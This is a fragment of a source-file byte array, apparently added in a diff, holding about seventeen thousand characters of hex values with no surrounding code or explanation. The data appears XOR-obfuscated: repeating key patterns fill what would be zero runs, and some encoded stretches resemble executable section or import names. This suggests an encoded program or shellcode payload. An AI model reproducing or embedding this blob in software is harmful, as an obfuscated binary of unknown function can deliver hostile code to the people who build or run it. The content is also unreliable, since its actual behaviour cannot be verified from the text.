0x02, 0x0b, 0x10, 0x66, 0x73, 0x66, +0xf2, 0x71, 0x64, 0x66, 0x73, 0x76, 0x67, 0x73, 0x64, 0x62, 0x73, 0x66, 0x67, 0x77, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x53, 0x66, 0x67, 0x13, +0x4a, 0x14, 0x17, 0x07, 0x13, 0x12, 0x64, 0x66, 0xeb, 0x64, 0x67, 0x73, 0x64, 0x46, 0x73, 0x66, +0x67, 0x77, 0x64, 0x66, 0x73, 0x6e, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x24, 0x66, 0x73, 0x26, 0x49, 0x17, 0x05, 0x12, 0x12, 0x66, 0x67, 0x73, +0x4d, 0x74, 0x73, 0x66, 0x67, 0x43, 0x64, 0x66, 0x73, 0x72, 0x67, 0x73, 0x64, 0x6a, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x27, 0x73, 0x64, 0xa6, +0x5d, 0x14, 0x02, 0x1f, 0x0b, 0x05, 0x73, 0x66, 0x5f, 0x73, 0x64, 0x66, 0x73, 0x36, 0x67, 0x73, +0x64, 0x64, 0x73, 0x66, 0x67, 0x53, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x33, 0x66, 0x67, 0x31, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x31, 0xed, 0x9f, 0xe5, 0x8b, 0x7b, 0xef, 0x23, 0x7b, 0xef, 0x22, 0x8b, 0xa3, 0x23, 0x8f, 0x66, +0x67, 0x73, 0x64, 0xa1, 0x36, 0x9a, 0x67, 0x73, 0x64, 0x66, 0x98, 0x6f, 0xec, 0x3e, 0x98, 0xe5, +0xb2, 0x67, 0xee, 0x3e, 0x98, 0xed, 0x26, 0x9a, 0x5c, 0x26, 0x68, 0x15, 0x62, 0xed, 0x22, 0x8b, +0xa2, 0x66, 0x73, 0xed, 0x2a, 0x8b, 0xe7, 0xa7, 0x72, 0xef, 0x2a, 0x8b, 0x8f, 0xb8, 0xf8, 0x83, +0x3a, 0xb0, 0xa8, 0xaa, 0xbf, 0xaa, 0xab, 0xbf, 0xa8, 0xaa, 0xbf, 0xaa, 0xab, 0xbf, 0xa8, 0xaa, +0x26, 0xed, 0x8b, 0xf2, 0x88, 0x4e, 0x70, 0x66, 0x67, 0x19, 0x20, 0xeb, 0x36, 0xc2, 0x37, 0x9b, +0xf8, 0x99, 0x8c, 0x99, 0xe4, 0xb7, 0x6c, 0xa1, 0x36, 0xc2, 0x23, 0x73, 0x64, 0x66, 0x9b, 0x4b, +0x66, 0x73, 0x64, 0xe3, 0xb3, 0x69, 0xe3, 0x90, 0x64, 0x66, 0x73, 0xeb, 0x2a, 0x9b, 0x35, 0xeb, +0x26, 0xc2, 0x35, 0x19, 0x64, 0x0c, 0x73, 0x0e, 0x23, 0x73, 0x64, 0x67, 0x19, 0x67, 0x0d, 0x73, +0x0e, 0x66, 0x1b, 0x6a, 0x25, 0x73, 0x74, 0x0c, 0x73, 0x99, 0x72, 0x6f, 0x44, 0x66, 0x63, 0xef, +0x22, 0x8f, 0xe7, 0x1b, 0x8f, 0x66, 0x12, 0x57, 0xe9, 0x23, 0x9b, 0x36, 0xea, 0x3e, 0xc0, 0x37, +0x19, 0x66, 0x0d, 0x73, 0x0e, 0x22, 0x19, 0x67, 0x0d, 0x73, 0x0e, 0x66, 0x1b, 0x7a, 0x25, 0x73, +0x74, 0x0c, 0x73, 0x99, 0x72, 0x6f, 0x44, 0x66, 0x63, 0xef, 0x22, 0x8f, 0xe7, 0x1b, 0x8f, 0x66, +0x68, 0xf7, 0xec, 0x66, 0x73, 0x66, 0xa0, 0xf6, 0xbc, 0x9a, 0x8c, 0x99, 0x64, 0x73, 0x65, 0x66, +0xfe, 0xf3, 0xbf, 0x8f, 0x9b, 0x99, 0x21, 0xed, 0x22, 0x9f, 0x34, 0x99, 0x66, 0x46, 0x47, 0x73, +0x74, 0x0c, 0x33, 0x0e, 0x67, 0x63, 0x64, 0x66, 0x1b, 0x66, 0x77, 0x73, 0x64, 0x0c, 0x73, 0xed, +0x2a, 0x9b, 0x35, 0x99, 0x66, 0x4e, 0x47, 0x73, 0x74, 0xef, 0x36, 0x9e, 0x0d, 0x73, 0x0c, 0x66, +0x63, 0x66, 0x67, 0x1b, 0x64, 0x56, 0x73, 0x76, 0xec, 0x26, 0x9c, 0x34, 0xf8, 0x23, 0x8f, 0x23, +0x9b, 0x73, 0x5f, 0x46, 0x67, 0x63, 0xef, 0x2b, 0x8b, 0xef, 0xea, 0xe3, 0x99, 0x99, 0x8c, 0xeb, +0xf2, 0xab, 0x98, 0x99, 0x8c, 0x34, 0xec, 0x36, 0x88, 0x36, 0x8c, 0x73, 0x43, 0x53, 0x64, 0x76, +0xf8, 0x2b, 0x8b, 0x22, 0x9b, 0x73, 0x6b, 0x46, 0x67, 0x63, 0xef, 0x33, 0x9f, 0x34, 0x98, 0x66, +0x64, 0x46, 0x73, 0x76, 0xec, 0x36, 0x8c, 0x36, 0x8c, 0x73, 0x67, 0x53, 0x64, 0x76, 0x19, 0x66, +0x98, 0x66, 0x70, 0x46, 0x73, 0x76, 0xec, 0x96, 0x39, 0xa5, 0xbf, 0xaa, 0xab, 0xbf, 0xa8, 0xaa, +0x26, 0xed, 0x8b, 0x22, 0xef, 0x23, 0x7f, 0xef, 0x22, 0x8f, 0xe7, 0x1b, 0x8f, 0x67, 0x13, 0x71, +0x8f, 0x63, 0x9b, 0xaf, 0x99, 0x8c, 0x9b, 0xde, 0x72, 0x66, 0x67, 0x73, 0xef, 0x83, 0x2e, 0xa4, +0x6b, 0x73, 0xa8, 0xaa, 0xbf, 0xaa, 0xab, 0xbf, 0xa8, 0xaa, 0xbf, 0xaa, 0xab, 0xbf, 0xa8, 0xaa, +0x26, 0xed, 0x8b, 0xf0, 0x88, 0x7a, 0xb4, 0x23, 0x93, 0x72, 0x64, 0x66, 0x73, 0xa1, 0x22, 0x83, +0x64, 0x66, 0x73, 0x66, 0xa0, 0x36, 0x98, 0x66, 0x73, 0x66, 0x67, 0xb4, 0x21, 0x9e, 0x73, 0x66, +0x67, 0x73, 0xa3, 0x23, 0x97, 0x6a, 0x67, 0x73, 0x64, 0xa1, 0x36, 0x8e, 0x67, 0x73, 0x64, 0x66, +0xb4, 0x23, 0x8b, 0x72, 0x64, 0x66, 0x73, 0x0e, 0x67, 0x33, 0x64, 0x76, 0x19, 0x67, 0x0d, 0x72, +0xe9, 0x23, 0x97, 0x36, 0x98, 0x66, 0x54, 0x46, 0x73, 0x76, 0xee, 0x36, 0x98, 0xe5, 0x0e, 0x9a, +0x67, 0x06, 0x66, 0x8d, 0x06, 0xa1, 0x22, 0x87, 0x64, 0x66, 0x73, 0x66, 0x0d, 0x73, 0xef, 0x2b, +0x8f, 0x37, 0x98, 0x66, 0x6c, 0x46, 0x73, 0x76, 0x5a, 0x71, 0x65, 0x66, 0x73, 0x13, 0x65, 0x98, +0x3d, 0xa1, 0x36, 0x96, 0x66, 0x73, 0x64, 0x66, 0x1b, 0x6e, 0x26, 0x73, 0x74, 0x0c, 0x72, 0x0e, +0x67, 0x73, 0x76, 0x66, 0x8c, 0x73, 0x77, 0x53, 0x64, 0x76, 0xfa, 0x23, 0x9f, 0xf0, 0x19, 0x9e, +0x73, 0x12, 0x6b, 0xf8, 0x31, 0x9e, 0x21, 0x99, 0x72, 0x73, 0x44, 0x66, 0x63, 0x8d, 0x4c, 0x1b, +0x6c, 0x27, 0x73, 0x76, 0x0d, 0x72, 0x0e, 0x67, 0xfe, 0x23, 0x83, 0x23, 0x9b, 0x73, 0x7f, 0x46, +0x67, 0x63, 0xed, 0x23, 0x8b, 0xe5, 0x1a, 0x8b, 0x64, 0x12, 0x74, 0xa1, 0x22, 0x87, 0x65, 0x66, +0x73, 0x66, 0x54, 0xba, 0x6b, 0xe3, 0x1e, 0x99, 0x98, 0x8c, 0xe7, 0x1b, 0x8f, 0x66, 0x13, 0x6d, +0xe7, 0x1b, 0x83, 0x66, 0x13, 0x7d, 0x0e, 0x66, 0x19, 0x67, 0xec, 0x26, 0x98, 0x34, 0x8c, 0x73, +0x63, 0x53, 0x64, 0x76, 0xf8, 0x23, 0x9b, 0x23, 0x9b, 0x73, 0x73, 0x46, 0x67, 0x63, 0xef, 0x23, +0x87, 0xed, 0x82, 0x2e, 0xa7, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0xc7, 0x52, 0x64, 0x66, 0xdd, 0x47, 0x67, 0x73, 0xa6, 0x47, 0x73, 0x66, 0xbf, 0x52, 0x64, 0x66, +0x9b, 0x47, 0x67, 0x73, 0x92, 0x47, 0x73, 0x66, 0x63, 0x51, 0x64, 0x66, 0x67, 0x44, 0x67, 0x73, +0x42, 0x44, 0x73, 0x66, 0x5d, 0x51, 0x64, 0x66, 0x3d, 0x44, 0x67, 0x73, 0x04, 0x44, 0x73, 0x66, +0x11, 0x51, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x49, 0x73, 0x22, 0x04, +0x73, 0x66, 0x67, 0x73, 0x69, 0x66, 0x73, 0x66, 0xab, 0x73, 0x64, 0x66, 0x07, 0x46, 0x67, 0x73, +0x10, 0x6e, 0x73, 0x66, 0x7f, 0x73, 0x64, 0x66, 0x71, 0xe6, 0x65, 0xf3, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x1f, 0x46, 0x67, 0x73, 0x6c, 0x66, 0x73, 0x66, 0x67, 0x63, 0x64, 0x66, +0xe6, 0x64, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x63, 0x64, 0x66, 0xe6, 0x64, 0x67, 0x73, +0x4a, 0x12, 0x16, 0x1e, 0x13, 0x57, 0x09, 0x08, 0x73, 0x66, 0x67, 0x73, 0x64, 0x46, 0x73, 0x66, +0x5f, 0x73, 0x64, 0x66, 0x5d, 0x0f, 0x03, 0x12, 0x10, 0x07, 0x57, 0x53, 0x67, 0x73, 0x64, 0x66, +0x4b, 0x46, 0x67, 0x73, 0x78, 0x66, 0x73, 0x66, 0x49, 0x01, 0x00, 0x07, 0x07, 0x07, 0x67, 0x73, +0x30, 0x46, 0x73, 0x66, 0x47, 0x73, 0x64, 0x66, 0x5d, 0x14, 0x03, 0x12, 0x10, 0x07, 0x57, 0x10, +0x08, 0x1f, 0x10, 0x0b, 0x17, 0x66, 0x67, 0x73, 0x10, 0x46, 0x73, 0x66, 0xab, 0x73, 0x64, 0x66, +0x5d, 0x14, 0x03, 0x12, 0x10, 0x07, 0x57, 0x1c, 0x1d, 0x09, 0x00, 0x04, 0x14, 0x66, 0x67, 0x73, +0x24, 0x47, 0x73, 0x66, 0x73, 0x73, 0x64, 0x66, 0x5d, 0x0f, 0x03, 0x12, 0x10, 0x07, 0x57, 0x54, +0x67, 0x73, 0x64, 0x66, 0x27, 0x47, 0x67, 0x73, 0x70, 0x66, 0x73, 0x66, 0x49, 0x1a, 0x00, 0x07, +0x07, 0x07, 0x43, 0x40, 0x64, 0x66, 0x73, 0x66, 0x0f, 0x52, 0x64, 0x66, 0x4b, 0x66, 0x67, 0x73, +0x4a, 0x0f, 0x17, 0x07, 0x13, 0x12, 0x40, 0x52, 0x73, 0x66, 0x67, 0x73, 0xc4, 0x47, 0x73, 0x66, +0x9f, 0x73, 0x64, 0x66, 0x5d, 0x0f, 0x03, 0x12, 0x10, 0x07, 0x57, 0x50, 0x67, 0x73, 0x64, 0x66, +0x73, 0x56, 0x67, 0x73, 0x4d, 0x74, 0x73, 0x66, 0x49, 0x17, 0x05, 0x12, 0x12, 0x66, 0x67, 0x73, +0x0c, 0x47, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0xee, 0x44, 0x73, 0x66, +0x67, 0x53, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0xc7, 0x52, 0x64, 0x66, 0xdd, 0x47, 0x67, 0x73, +0xa6, 0x47, 0x73, 0x66, 0xbf, 0x52, 0x64, 0x66, 0x9b, 0x47, 0x67, 0x73, 0x92, 0x47, 0x73, 0x66, +0x63, 0x51, 0x64, 0x66, 0x67, 0x44, 0x67, 0x73, 0x42, 0x44, 0x73, 0x66, 0x5d, 0x51, 0x64, 0x66, +0x3d, 0x44, 0x67, 0x73, 0x04, 0x44, 0x73, 0x66, 0x11, 0x51, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0xed, 0x66, 0x30, 0x0a, 0x08, 0x00, 0x01, 0x2e, 0x12, 0x08, 0x03, 0x1f, 0x01, 0x66, 0xc5, 0x62, +0x35, 0x16, 0x08, 0x03, 0x12, 0x15, 0x02, 0x20, 0x01, 0x0b, 0x12, 0x16, 0x0f, 0x1c, 0x16, 0x03, +0x73, 0x66, 0xbc, 0x76, 0x33, 0x07, 0x1a, 0x12, 0x21, 0x1c, 0x16, 0x35, 0x1a, 0x08, 0x00, 0x1f, +0x01, 0x29, 0x11, 0x0c, 0x02, 0x10, 0x10, 0x66, 0xcc, 0x66, 0x24, 0x01, 0x01, 0x07, 0x07, 0x03, +0x22, 0x05, 0x01, 0x08, 0x07, 0x27, 0x67, 0x73, 0x66, 0x62, 0x3c, 0x16, 0x02, 0x1d, 0x21, 0x10, +0x16, 0x08, 0x13, 0x32, 0x64, 0x66, 0x11, 0x67, 0x22, 0x0b, 0x0d, 0x12, 0x27, 0x0e, 0x15, 0x16, +0x05, 0x02, 0x73, 0x66, 0xa8, 0x77, 0x36, 0x03, 0x00, 0x13, 0x0a, 0x16, 0x30, 0x0e, 0x01, 0x03, +0x06, 0x17, 0x64, 0x66, 0x90, 0x66, 0x24, 0x01, 0x01, 0x07, 0x07, 0x03, 0x37, 0x01, 0x0b, 0x05, +0x16, 0x15, 0x14, 0x32, 0x64, 0x66, 0x89, 0x64, 0x20, 0x16, 0x10, 0x32, 0x1b, 0x14, 0x02, 0x12, +0x00, 0x25, 0x1c, 0x08, 0x13, 0x16, 0x1c, 0x12, 0x73, 0x66, 0x3f, 0x76, 0x37, 0x03, 0x07, 0x32, +0x0f, 0x01, 0x01, 0x07, 0x17, 0x25, 0x08, 0x1d, 0x10, 0x03, 0x0b, 0x12, 0x67, 0x73, 0xaf, 0x63, +0x25, 0x0f, 0x15, 0x07, 0x11, 0x07, 0x1f, 0x27, 0x0b, 0x1f, 0x0b, 0x05, 0x36, 0x1e, 0x67, 0x73, +0x7b, 0x60, 0x24, 0x14, 0x0e, 0x07, 0x01, 0x36, 0x01, 0x09, 0x04, 0x16, 0x17, 0x15, 0x3e, 0x03, +0x0a, 0x1c, 0x16, 0x1f, 0x73, 0x66, 0x8b, 0x73, 0x27, 0x14, 0x16, 0x07, 0x13, 0x16, 0x37, 0x03, +0x1e, 0x07, 0x17, 0x1b, 0x0b, 0x14, 0x16, 0x27, 0x67, 0x73, 0x2f, 0x23, 0x21, 0x28, 0x22, 0x3f, +0x57, 0x54, 0x5d, 0x02, 0x0b, 0x1f, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x8f, 0x8e, 0xe8, 0x73, 0x64, 0x66, 0x13, 0xef, 0x82, 0x42, 0xb6, 0x02, 0xf8, 0x34, 0x57, 0xf8, +0x36, 0x6a, 0xf8, 0x34, 0x73, 0x42, 0x9b, 0x69, 0xc4, 0x2c, 0x41, 0xf8, 0x16, 0x4e, 0x42, 0xa6, +0xcb, 0x4f, 0x05, 0x1a, 0x71, 0x4a, 0x47, 0xb2, 0xab, 0x6b, 0x72, 0xa1, 0x2e, 0x06, 0x8b, 0x34, +0x24, 0xed, 0x35, 0x63, 0xef, 0x24, 0x4f, 0x67, 0xb7, 0xf8, 0x24, 0x1e, 0xf6, 0xa6, 0x13, 0x3f, +0x65, 0xb6, 0xf8, 0x2e, 0x7f, 0xf8, 0x3c, 0x46, 0x72, 0xb5, 0x37, 0xf6, 0xad, 0x12, 0x4f, 0x57, +0x98, 0x3a, 0xef, 0x52, 0xf8, 0x67, 0xb1, 0x42, 0xa4, 0xca, 0xb2, 0xa9, 0x6a, 0x72, 0xa3, 0x5e, +0x93, 0x13, 0x93, 0x70, 0x19, 0x9e, 0x48, 0x1b, 0x43, 0x06, 0x84, 0x3e, 0xf8, 0x3e, 0x43, 0x72, +0xb7, 0x00, 0xf8, 0x6a, 0x2c, 0xf8, 0x3c, 0x7a, 0x72, 0xb5, 0xec, 0x77, 0xef, 0x67, 0xa3, 0xef, +0x23, 0x57, 0x40, 0x3d, 0x28, 0x07, 0x3e, 0x29, 0x35, 0x99, 0x93, 0x3e, 0x38, 0x29, 0xef, 0x74, +0x9a, 0xe6, 0x98, 0x8c, 0x9b, 0x3b, 0x1b, 0x55, 0x55, 0x73, 0x64, 0x0e, 0x04, 0x15, 0x55, 0x2c, +0x30, 0x0e, 0x3f, 0x11, 0x41, 0x74, 0xed, 0x8e, 0x8c, 0xb6, 0xdf, 0xe3, 0x65, 0x66, 0x73, 0x4f, +0xa3, 0x27, 0x34, 0x0e, 0x5a, 0xe6, 0x0c, 0x73, 0x9b, 0xb3, 0x19, 0x6c, 0x0f, 0xb3, 0xcc, 0x67, +0x59, 0x0e, 0x65, 0x73, 0x61, 0x5f, 0xfa, 0x80, 0x37, 0x23, 0x34, 0x36, 0x33, 0x36, 0x27, 0x23, +0x0c, 0x8c, 0x7c, 0xb9, 0x87, 0x8c, 0xb1, 0xf1, 0x19, 0x76, 0x31, 0x24, 0x0c, 0xff, 0xd6, 0x12, +0x06, 0x8c, 0xb1, 0xe3, 0xb3, 0x12, 0x6d, 0x8c, 0x2a, 0x6e, 0x06, 0x8a, 0x8f, 0x14, 0x64, 0x66, +0x73, 0x0c, 0x67, 0x19, 0x60, 0x30, 0x24, 0x0e, 0x65, 0xaa, 0xac, 0x39, 0x8c, 0xb3, 0xe4, 0x8b, +0x64, 0x18, 0x45, 0xed, 0x51, 0x19, 0x24, 0x0e, 0x73, 0x76, 0x67, 0x73, 0x32, 0x0c, 0x73, 0x0e, +0x3f, 0xd7, 0x37, 0x83, 0x8c, 0xb3, 0xf4, 0x20, 0x0e, 0x66, 0x25, 0x35, 0x30, 0x1b, 0x66, 0xbf, 